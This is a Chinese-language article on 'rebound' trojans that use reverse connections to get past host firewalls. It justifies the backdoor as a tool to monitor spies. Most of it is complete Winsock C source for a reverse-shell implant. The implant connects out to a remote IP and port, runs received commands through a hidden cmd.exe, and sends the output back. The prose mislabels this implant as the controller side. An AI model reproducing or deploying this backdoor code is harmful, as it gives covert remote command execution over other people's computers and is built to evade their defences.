随着安全事件的不断涌现,人们的主机防护意识越来越强,各种各样的防火墙和反病毒软件都开始对来自外部的网络连接进行监控,所以传统的采用正向连接的木马已经不再适应现在的网络环境了。为了能够继续进行远程控制,木马不得不从体制上进行改变,这就出现了采用反向连接技术的。“反弹型”木马。“反弹”木马现在已经见得比较多了,但是对其技术细节介绍的文章还是比较少。为了监控危害我们伟大祖国的间谍分子,我们需要实现反向链接的后门
从本质上来说,反向连接和正向连接的区别并不大。在正向连接的情况下,服务器端也就是被控制端,在编程实现的时候是采用服务器端的编程方法的;而控制端,在编程实现的时候采用的是客户端的编程方法。当我们采用反弹的方法编程的时候,实际上就是将被控制端变成了采用客户端的编程方法,而将控制端变成了采用服务器端的编程方法(Socket:不知道这样解释读者朋友们能不能听明白?反正俺是觉得云里雾里)。还是通过简单的编程实例来解释一下吧,免得有人。虽然下面我给出的例子比较小,但是却很有代表性,读者可以从中体会到反向连接技术的实现方法。同时,对于不熟悉网络编程的读者,也是一次促进学习的机会,可以通过这个例子来熟悉一下网络编程。
以反向连接为例,我们先来看看控制端的编程实现方法。
#include<winsock2.h> #include<stdio.h> #pragma comment(lib,"ws2_32.lib") void main(int argc,char **argv) { char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n"; WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; char buf1[1024]; //作为socket接收数据的缓冲区 memset(buf1,0,1024); //清空缓冲区 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(80); //反向连接的远端主机端口 addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); //远端IP if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:d\n",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //连接客户主机 { printf("Connect failed.Error:d",WSAGetLastError()); return; } if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR) //发送欢迎信息 { printf("Send failed.Error:d\n",WSAGetLastError()); return; } char buffer[2048] = {0};//管道输出的数据 for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){ SECURITY_ATTRIBUTES sa;//创建匿名管道用于取得cmd的命令输出 HANDLE hRead,hWrite; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead,&hWrite,&sa,0)) { printf("Error On CreatePipe()"); return; } STARTUPINFO si; PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO); GetStartupInfo(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; GetSystemDirectory(cmdline,MAX_PATH+1); strcat(cmdline,"\\cmd.exe /c"); int len=recv(sock,buf1,1024,NULL); if(len==SOCKET_ERROR)exit(0); //如果客户端断开连接,则自动退出程序 if(len<=1){send(sock,"error\n",sizeof("error\n"),0);continue;} strncat(cmdline,buf1,strlen(buf1)); //把命令参数复制到cmdline if (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { send(sock,"Error command\n",sizeof("Error command\n"),0); continue; } CloseHandle(hWrite); //循环读取管道中数据并发送,直到管道中没有数据为止 for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){ send(sock,buffer,strlen(buffer),0); } } }